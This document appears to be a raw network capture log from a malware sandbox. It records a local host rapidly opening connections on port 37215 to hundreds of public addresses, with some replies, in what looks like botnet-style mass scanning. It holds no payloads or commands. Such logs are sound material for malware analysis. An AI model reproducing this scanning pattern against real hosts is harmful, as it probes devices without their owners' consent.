Dec 30, 2024 11:58:11.772077084 CET	43230	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:11.772093058 CET	43230	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:11.772392035 CET	43564	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:11.772764921 CET	14099	37215	192.168.2.13	41.214.140.154
Dec 30, 2024 11:58:11.772777081 CET	14099	37215	192.168.2.13	156.164.58.75
Dec 30, 2024 11:58:11.772790909 CET	14099	37215	192.168.2.13	156.222.241.235
Dec 30, 2024 11:58:11.772793055 CET	14099	37215	192.168.2.13	41.14.138.172
Dec 30, 2024 11:58:11.772805929 CET	14099	37215	192.168.2.13	41.11.243.69
Dec 30, 2024 11:58:11.772806883 CET	14099	37215	192.168.2.13	41.143.227.24
Dec 30, 2024 11:58:11.772819996 CET	14099	37215	192.168.2.13	41.105.60.23
Dec 30, 2024 11:58:11.772835970 CET	14099	37215	192.168.2.13	197.2.232.201
Dec 30, 2024 11:58:11.772850990 CET	14099	37215	192.168.2.13	156.210.252.2
Dec 30, 2024 11:58:11.772867918 CET	14099	37215	192.168.2.13	156.90.223.166
Dec 30, 2024 11:58:11.772871971 CET	14099	37215	192.168.2.13	197.185.69.178
Dec 30, 2024 11:58:11.772875071 CET	14099	37215	192.168.2.13	156.2.203.105
Dec 30, 2024 11:58:11.772887945 CET	14099	37215	192.168.2.13	197.204.96.138
Dec 30, 2024 11:58:11.772901058 CET	14099	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:11.772902966 CET	14099	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:11.772907019 CET	14099	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:11.772913933 CET	14099	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:11.772927999 CET	14099	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:11.772937059 CET	14099	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:11.772953033 CET	14099	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:11.772957087 CET	14099	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:11.772969007 CET	14099	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:11.772973061 CET	14099	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:11.772984982 CET	14099	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:11.772993088 CET	14099	37215	192.168.2.13	41.67.187.132
Dec 30, 2024 11:58:11.773001909 CET	14099	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:11.773020029 CET	14099	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:11.773036957 CET	14099	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:11.773045063 CET	14099	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:11.773045063 CET	14099	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:11.773056984 CET	14099	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:11.773063898 CET	14099	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:11.773078918 CET	14099	37215	192.168.2.13	156.155.33.244
Dec 30, 2024 11:58:11.773083925 CET	14099	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:11.773089886 CET	14099	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:11.773094893 CET	14099	37215	192.168.2.13	41.221.219.170
Dec 30, 2024 11:58:11.773098946 CET	14099	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:11.773116112 CET	14099	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:11.773129940 CET	14099	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:11.773144007 CET	14099	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:11.773150921 CET	14099	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:11.773155928 CET	14099	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:11.773165941 CET	14099	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:11.773183107 CET	14099	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:11.773185015 CET	14099	37215	192.168.2.13	41.50.219.153
Dec 30, 2024 11:58:11.773196936 CET	14099	37215	192.168.2.13	41.67.222.98
Dec 30, 2024 11:58:11.773204088 CET	14099	37215	192.168.2.13	156.7.46.234
Dec 30, 2024 11:58:11.773216009 CET	14099	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:11.773216963 CET	14099	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:11.773230076 CET	14099	37215	192.168.2.13	197.218.0.81
Dec 30, 2024 11:58:11.773245096 CET	14099	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:11.773245096 CET	14099	37215	192.168.2.13	197.250.211.196
Dec 30, 2024 11:58:11.773257017 CET	14099	37215	192.168.2.13	156.45.243.143
Dec 30, 2024 11:58:11.773266077 CET	14099	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:11.773273945 CET	14099	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:11.773278952 CET	14099	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:11.773294926 CET	14099	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:11.773305893 CET	14099	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:11.773319006 CET	14099	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:11.773330927 CET	14099	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:11.773330927 CET	14099	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:11.773350000 CET	14099	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:11.773356915 CET	14099	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:11.773369074 CET	14099	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:11.773369074 CET	14099	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:11.773385048 CET	14099	37215	192.168.2.13	156.250.125.228
Dec 30, 2024 11:58:11.773387909 CET	14099	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:11.773403883 CET	14099	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:11.773406982 CET	14099	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:11.773416996 CET	14099	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:11.773432016 CET	14099	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:11.773436069 CET	14099	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:11.773453951 CET	14099	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:11.773458004 CET	14099	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:11.773475885 CET	14099	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:11.773483992 CET	14099	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:11.773488045 CET	14099	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:11.773510933 CET	14099	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:11.773514986 CET	14099	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:11.773549080 CET	14099	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:11.773555994 CET	14099	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:11.773566008 CET	14099	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:11.773566008 CET	14099	37215	192.168.2.13	197.19.89.168
Dec 30, 2024 11:58:11.773566961 CET	14099	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:11.773569107 CET	14099	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:11.773571014 CET	14099	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:11.773571014 CET	14099	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:11.773571014 CET	14099	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:11.773578882 CET	14099	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:11.773580074 CET	14099	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:11.773580074 CET	14099	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:11.773582935 CET	14099	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:11.773598909 CET	14099	37215	192.168.2.13	156.73.13.229
Dec 30, 2024 11:58:11.773598909 CET	14099	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:11.773612022 CET	14099	37215	192.168.2.13	197.155.210.158
Dec 30, 2024 11:58:11.773612022 CET	14099	37215	192.168.2.13	41.153.67.108
Dec 30, 2024 11:58:11.773627996 CET	14099	37215	192.168.2.13	197.134.98.130
Dec 30, 2024 11:58:11.773636103 CET	14099	37215	192.168.2.13	197.24.236.137
Dec 30, 2024 11:58:11.773653984 CET	14099	37215	192.168.2.13	197.24.38.168
Dec 30, 2024 11:58:11.773659945 CET	14099	37215	192.168.2.13	197.126.24.45
Dec 30, 2024 11:58:11.773667097 CET	14099	37215	192.168.2.13	197.47.246.148
Dec 30, 2024 11:58:11.773684025 CET	14099	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:11.773693085 CET	14099	37215	192.168.2.13	156.149.242.48
Dec 30, 2024 11:58:11.773696899 CET	14099	37215	192.168.2.13	41.143.227.108
Dec 30, 2024 11:58:11.773711920 CET	14099	37215	192.168.2.13	41.118.61.21
Dec 30, 2024 11:58:11.773715973 CET	14099	37215	192.168.2.13	41.91.218.7
Dec 30, 2024 11:58:11.773730993 CET	14099	37215	192.168.2.13	41.175.235.107
Dec 30, 2024 11:58:11.773740053 CET	14099	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:11.773756027 CET	14099	37215	192.168.2.13	197.141.250.74
Dec 30, 2024 11:58:11.773757935 CET	14099	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:11.773772955 CET	14099	37215	192.168.2.13	41.231.10.182
Dec 30, 2024 11:58:11.773783922 CET	14099	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:11.773797989 CET	14099	37215	192.168.2.13	156.50.167.143
Dec 30, 2024 11:58:11.773809910 CET	14099	37215	192.168.2.13	197.10.73.40
Dec 30, 2024 11:58:11.773812056 CET	14099	37215	192.168.2.13	41.156.100.90
Dec 30, 2024 11:58:11.773827076 CET	14099	37215	192.168.2.13	156.243.50.208
Dec 30, 2024 11:58:11.773833036 CET	14099	37215	192.168.2.13	197.199.234.130
Dec 30, 2024 11:58:11.773838997 CET	14099	37215	192.168.2.13	156.110.211.238
Dec 30, 2024 11:58:11.773844004 CET	14099	37215	192.168.2.13	197.182.156.118
Dec 30, 2024 11:58:11.773852110 CET	14099	37215	192.168.2.13	41.228.79.204
Dec 30, 2024 11:58:11.773864031 CET	14099	37215	192.168.2.13	156.122.190.94
Dec 30, 2024 11:58:11.773870945 CET	14099	37215	192.168.2.13	156.169.146.154
Dec 30, 2024 11:58:11.773893118 CET	14099	37215	192.168.2.13	41.13.26.221
Dec 30, 2024 11:58:11.773896933 CET	14099	37215	192.168.2.13	156.90.231.154
Dec 30, 2024 11:58:11.773900032 CET	14099	37215	192.168.2.13	197.61.45.19
Dec 30, 2024 11:58:11.773911953 CET	14099	37215	192.168.2.13	197.188.228.81
Dec 30, 2024 11:58:11.773927927 CET	14099	37215	192.168.2.13	156.196.17.69
Dec 30, 2024 11:58:11.773940086 CET	14099	37215	192.168.2.13	156.58.253.17
Dec 30, 2024 11:58:11.773950100 CET	14099	37215	192.168.2.13	156.187.156.61
Dec 30, 2024 11:58:11.773957014 CET	14099	37215	192.168.2.13	41.173.61.215
Dec 30, 2024 11:58:11.773969889 CET	14099	37215	192.168.2.13	197.175.131.216
Dec 30, 2024 11:58:11.773974895 CET	14099	37215	192.168.2.13	41.235.144.168
Dec 30, 2024 11:58:11.773986101 CET	14099	37215	192.168.2.13	156.174.142.147
Dec 30, 2024 11:58:11.774003029 CET	14099	37215	192.168.2.13	41.137.10.183
Dec 30, 2024 11:58:11.774003983 CET	14099	37215	192.168.2.13	41.229.51.210
Dec 30, 2024 11:58:11.774018049 CET	14099	37215	192.168.2.13	156.200.86.89
Dec 30, 2024 11:58:11.774028063 CET	14099	37215	192.168.2.13	41.125.219.12
Dec 30, 2024 11:58:11.774044991 CET	14099	37215	192.168.2.13	41.208.182.208
Dec 30, 2024 11:58:11.774064064 CET	14099	37215	192.168.2.13	197.234.74.65
Dec 30, 2024 11:58:11.774064064 CET	14099	37215	192.168.2.13	197.157.67.59
Dec 30, 2024 11:58:11.774075985 CET	14099	37215	192.168.2.13	197.79.94.88
Dec 30, 2024 11:58:11.774080038 CET	14099	37215	192.168.2.13	156.32.73.7
Dec 30, 2024 11:58:11.774095058 CET	14099	37215	192.168.2.13	197.247.223.14
Dec 30, 2024 11:58:11.774111032 CET	14099	37215	192.168.2.13	156.199.65.123
Dec 30, 2024 11:58:11.774111032 CET	14099	37215	192.168.2.13	197.245.170.176
Dec 30, 2024 11:58:11.774120092 CET	14099	37215	192.168.2.13	156.165.36.193
Dec 30, 2024 11:58:11.774128914 CET	14099	37215	192.168.2.13	156.71.197.87
Dec 30, 2024 11:58:11.774147987 CET	14099	37215	192.168.2.13	41.212.179.96
Dec 30, 2024 11:58:11.774149895 CET	14099	37215	192.168.2.13	156.71.144.29
Dec 30, 2024 11:58:11.774166107 CET	14099	37215	192.168.2.13	41.96.105.177
Dec 30, 2024 11:58:11.774167061 CET	14099	37215	192.168.2.13	197.149.228.122
Dec 30, 2024 11:58:11.774182081 CET	14099	37215	192.168.2.13	197.136.162.214
Dec 30, 2024 11:58:11.774182081 CET	14099	37215	192.168.2.13	41.149.82.105
Dec 30, 2024 11:58:11.774199009 CET	14099	37215	192.168.2.13	41.152.70.129
Dec 30, 2024 11:58:11.774214983 CET	14099	37215	192.168.2.13	197.79.41.151
Dec 30, 2024 11:58:11.774224997 CET	14099	37215	192.168.2.13	156.128.237.115
Dec 30, 2024 11:58:11.774260998 CET	14099	37215	192.168.2.13	156.76.221.217
Dec 30, 2024 11:58:11.774260998 CET	14099	37215	192.168.2.13	197.214.56.204
Dec 30, 2024 11:58:11.774261951 CET	14099	37215	192.168.2.13	41.191.166.114
Dec 30, 2024 11:58:11.774267912 CET	14099	37215	192.168.2.13	41.187.220.64
Dec 30, 2024 11:58:11.791443110 CET	55430	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:11.791445971 CET	54824	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:11.791443110 CET	42416	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:11.791445017 CET	36072	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:11.791449070 CET	58486	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:11.795528889 CET	48592	37215	192.168.2.13	156.17.174.6
Dec 30, 2024 11:58:11.795536995 CET	43230	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:11.887593031 CET	37514	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:11.887605906 CET	43964	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:11.887605906 CET	41078	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:11.887608051 CET	44952	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:11.887608051 CET	38412	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:11.891542912 CET	43348	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:11.891551018 CET	53378	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:11.891551018 CET	40526	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:11.891557932 CET	39390	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:11.891560078 CET	53256	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:11.891561985 CET	45366	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:11.895441055 CET	49140	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:11.895441055 CET	42920	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:11.895442009 CET	37548	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:11.895446062 CET	35340	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:11.895450115 CET	58980	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:11.895450115 CET	38694	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:11.899440050 CET	56700	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:11.899441004 CET	49356	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:11.899446964 CET	56828	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:11.899451971 CET	42628	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:11.899455070 CET	59540	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:11.899456024 CET	47588	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:11.903434992 CET	40788	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:11.903435946 CET	45980	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:11.903438091 CET	39272	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:11.903440952 CET	36872	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:11.903445959 CET	49452	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:11.903445959 CET	34514	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:11.907437086 CET	49096	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:11.907444000 CET	54742	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:11.907444000 CET	39874	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:11.907444000 CET	33688	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:11.907448053 CET	49988	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:11.911443949 CET	36618	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:11.911448956 CET	46304	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:11.911452055 CET	51876	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:11.911457062 CET	56470	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:11.911461115 CET	53724	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:11.911464930 CET	41286	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:11.915450096 CET	52184	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:11.915450096 CET	58902	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:11.915474892 CET	46758	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:11.915474892 CET	37340	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:11.915474892 CET	53748	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:11.919437885 CET	55486	37215	192.168.2.13	41.171.127.49
Dec 30, 2024 11:58:11.919444084 CET	55256	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:11.919437885 CET	44756	37215	192.168.2.13	156.207.249.17
Dec 30, 2024 11:58:11.919445038 CET	60702	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:11.919445992 CET	53652	37215	192.168.2.13	156.95.34.112
Dec 30, 2024 11:58:11.919459105 CET	46600	37215	192.168.2.13	41.50.141.94
Dec 30, 2024 11:58:11.920866013 CET	37215	40526	197.24.201.80	192.168.2.13
Dec 30, 2024 11:58:11.920878887 CET	37215	37514	156.247.235.165	192.168.2.13
Dec 30, 2024 11:58:11.920886993 CET	37215	44952	197.60.116.58	192.168.2.13
Dec 30, 2024 11:58:11.921019077 CET	37215	43964	41.74.164.208	192.168.2.13
Dec 30, 2024 11:58:11.921027899 CET	37215	41078	197.38.231.199	192.168.2.13
Dec 30, 2024 11:58:11.921036959 CET	37215	38412	197.163.40.97	192.168.2.13
Dec 30, 2024 11:58:11.921058893 CET	37215	38694	41.26.212.241	192.168.2.13
Dec 30, 2024 11:58:11.921072960 CET	37215	43348	156.101.11.103	192.168.2.13
Dec 30, 2024 11:58:11.921081066 CET	37215	53256	156.68.68.240	192.168.2.13
Dec 30, 2024 11:58:11.921089888 CET	37215	53378	41.214.248.109	192.168.2.13
Dec 30, 2024 11:58:11.921099901 CET	37215	39390	41.34.96.228	192.168.2.13
Dec 30, 2024 11:58:11.921109915 CET	37215	45366	41.108.183.127	192.168.2.13
Dec 30, 2024 11:58:11.921123981 CET	37215	47588	197.54.40.227	192.168.2.13
Dec 30, 2024 11:58:11.921132088 CET	37215	37548	197.142.229.57	192.168.2.13
Dec 30, 2024 11:58:11.921143055 CET	37215	49140	41.206.210.106	192.168.2.13
Dec 30, 2024 11:58:11.921150923 CET	37215	42920	41.200.70.248	192.168.2.13
Dec 30, 2024 11:58:11.921159029 CET	37215	35340	156.244.154.48	192.168.2.13
Dec 30, 2024 11:58:11.921176910 CET	37215	58980	197.124.218.69	192.168.2.13
Dec 30, 2024 11:58:11.921188116 CET	37215	56700	156.21.249.218	192.168.2.13
Dec 30, 2024 11:58:11.921202898 CET	37215	56828	197.240.32.99	192.168.2.13
Dec 30, 2024 11:58:11.921211004 CET	37215	59540	41.188.197.53	192.168.2.13
Dec 30, 2024 11:58:11.921219110 CET	37215	36872	197.9.236.17	192.168.2.13
Dec 30, 2024 11:58:11.921233892 CET	37215	39874	156.7.148.95	192.168.2.13
Dec 30, 2024 11:58:11.921257973 CET	37215	39272	197.61.151.147	192.168.2.13
Dec 30, 2024 11:58:11.921274900 CET	37215	42628	197.177.99.168	192.168.2.13
Dec 30, 2024 11:58:11.921283007 CET	37215	49356	41.117.136.128	192.168.2.13
Dec 30, 2024 11:58:11.921291113 CET	37215	45980	197.171.72.135	192.168.2.13
Dec 30, 2024 11:58:11.921304941 CET	37215	40788	156.129.228.150	192.168.2.13
Dec 30, 2024 11:58:11.921313047 CET	37215	49452	197.240.74.165	192.168.2.13
Dec 30, 2024 11:58:11.921320915 CET	37215	34514	156.192.234.226	192.168.2.13
Dec 30, 2024 11:58:11.921329021 CET	37215	54742	156.175.150.37	192.168.2.13
Dec 30, 2024 11:58:11.921336889 CET	37215	49096	156.209.217.158	192.168.2.13
Dec 30, 2024 11:58:11.921344995 CET	37215	33688	156.0.240.208	192.168.2.13
Dec 30, 2024 11:58:11.921349049 CET	37215	49988	156.130.26.19	192.168.2.13
Dec 30, 2024 11:58:11.921374083 CET	37215	46304	156.201.245.6	192.168.2.13
Dec 30, 2024 11:58:11.921382904 CET	37215	36618	156.220.73.34	192.168.2.13
Dec 30, 2024 11:58:11.921391010 CET	37215	51876	197.102.24.126	192.168.2.13
Dec 30, 2024 11:58:11.921400070 CET	37215	56470	41.195.253.254	192.168.2.13
Dec 30, 2024 11:58:11.921410084 CET	37215	53724	197.211.16.173	192.168.2.13
Dec 30, 2024 11:58:11.921423912 CET	37215	41286	197.36.89.140	192.168.2.13
Dec 30, 2024 11:58:11.921442986 CET	37215	60702	156.244.77.93	192.168.2.13
Dec 30, 2024 11:58:11.921454906 CET	37215	58902	197.39.32.108	192.168.2.13
Dec 30, 2024 11:58:11.921463013 CET	37215	37340	41.245.134.247	192.168.2.13
Dec 30, 2024 11:58:11.921471119 CET	37215	52184	156.184.181.194	192.168.2.13
Dec 30, 2024 11:58:11.921478987 CET	37215	46758	156.131.101.202	192.168.2.13
Dec 30, 2024 11:58:11.921485901 CET	37215	53748	197.195.57.53	192.168.2.13
Dec 30, 2024 11:58:11.921494961 CET	37215	44756	156.207.249.17	192.168.2.13
Dec 30, 2024 11:58:11.921503067 CET	37215	53652	156.95.34.112	192.168.2.13
Dec 30, 2024 11:58:11.921510935 CET	37215	55486	41.171.127.49	192.168.2.13
Dec 30, 2024 11:58:11.921519041 CET	37215	55256	197.210.230.82	192.168.2.13
Dec 30, 2024 11:58:11.921529055 CET	37215	46600	41.50.141.94	192.168.2.13
Dec 30, 2024 11:58:11.921586037 CET	37215	48040	41.149.131.230	192.168.2.13
Dec 30, 2024 11:58:11.921605110 CET	37215	53152	156.106.104.75	192.168.2.13
Dec 30, 2024 11:58:11.921613932 CET	37215	43186	197.238.194.223	192.168.2.13
Dec 30, 2024 11:58:11.921621084 CET	37215	49302	197.89.105.33	192.168.2.13
Dec 30, 2024 11:58:11.921633005 CET	37215	39980	156.13.108.190	192.168.2.13
Dec 30, 2024 11:58:11.921641111 CET	37215	39888	156.149.182.191	192.168.2.13
Dec 30, 2024 11:58:11.921654940 CET	37215	36328	156.13.189.108	192.168.2.13
Dec 30, 2024 11:58:11.921664000 CET	37215	56928	197.207.205.126	192.168.2.13
Dec 30, 2024 11:58:11.921673059 CET	37215	59856	41.44.163.240	192.168.2.13
Dec 30, 2024 11:58:11.921807051 CET	37215	44370	197.184.115.105	192.168.2.13
Dec 30, 2024 11:58:11.921816111 CET	37215	48316	197.107.33.31	192.168.2.13
Dec 30, 2024 11:58:11.921823978 CET	37215	48572	197.107.33.31	192.168.2.13
Dec 30, 2024 11:58:11.921868086 CET	44370	37215	192.168.2.13	197.184.115.105
Dec 30, 2024 11:58:11.921873093 CET	48572	37215	192.168.2.13	197.107.33.31
Dec 30, 2024 11:58:11.922008991 CET	44370	37215	192.168.2.13	197.184.115.105
Dec 30, 2024 11:58:11.922034979 CET	37215	54476	41.86.123.62	192.168.2.13
Dec 30, 2024 11:58:11.922035933 CET	48572	37215	192.168.2.13	197.107.33.31
Dec 30, 2024 11:58:11.922192097 CET	37215	54732	41.86.123.62	192.168.2.13
Dec 30, 2024 11:58:11.922202110 CET	37215	58134	156.46.182.195	192.168.2.13
Dec 30, 2024 11:58:11.922210932 CET	37215	58390	156.46.182.195	192.168.2.13
Dec 30, 2024 11:58:11.922219038 CET	37215	48454	41.26.102.197	192.168.2.13
Dec 30, 2024 11:58:11.922234058 CET	54732	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.922245026 CET	58390	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.922272921 CET	54732	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.922287941 CET	58390	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.922326088 CET	37215	48710	41.26.102.197	192.168.2.13
Dec 30, 2024 11:58:11.922334909 CET	37215	44426	197.200.79.39	192.168.2.13
Dec 30, 2024 11:58:11.922343016 CET	37215	44682	197.200.79.39	192.168.2.13
Dec 30, 2024 11:58:11.922352076 CET	37215	59564	197.92.141.107	192.168.2.13
Dec 30, 2024 11:58:11.922363997 CET	48710	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.922383070 CET	44682	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.922406912 CET	48710	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.922420979 CET	44682	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.922458887 CET	37215	59820	197.92.141.107	192.168.2.13
Dec 30, 2024 11:58:11.922467947 CET	37215	49152	41.237.172.11	192.168.2.13
Dec 30, 2024 11:58:11.922476053 CET	37215	49408	41.237.172.11	192.168.2.13
Dec 30, 2024 11:58:11.922483921 CET	37215	38630	197.93.238.54	192.168.2.13
Dec 30, 2024 11:58:11.922503948 CET	59820	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.922524929 CET	49408	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.922553062 CET	59820	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.922569990 CET	49408	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.922604084 CET	37215	38886	197.93.238.54	192.168.2.13
Dec 30, 2024 11:58:11.922612906 CET	37215	51118	156.6.89.61	192.168.2.13
Dec 30, 2024 11:58:11.922620058 CET	37215	51374	156.6.89.61	192.168.2.13
Dec 30, 2024 11:58:11.922629118 CET	37215	36410	156.187.73.58	192.168.2.13
Dec 30, 2024 11:58:11.922650099 CET	38886	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.922661066 CET	51374	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.922692060 CET	38886	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.922703028 CET	51374	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.922784090 CET	37215	36666	156.187.73.58	192.168.2.13
Dec 30, 2024 11:58:11.922794104 CET	37215	56244	156.138.243.154	192.168.2.13
Dec 30, 2024 11:58:11.922801971 CET	37215	56500	156.138.243.154	192.168.2.13
Dec 30, 2024 11:58:11.922810078 CET	37215	43728	197.189.135.34	192.168.2.13
Dec 30, 2024 11:58:11.922832012 CET	36666	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.922832966 CET	56500	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.922863007 CET	36666	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.922872066 CET	37215	43984	197.189.135.34	192.168.2.13
Dec 30, 2024 11:58:11.922880888 CET	37215	33610	41.237.37.41	192.168.2.13
Dec 30, 2024 11:58:11.922883034 CET	56500	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.922889948 CET	37215	33866	41.237.37.41	192.168.2.13
Dec 30, 2024 11:58:11.922899961 CET	37215	47510	197.48.134.189	192.168.2.13
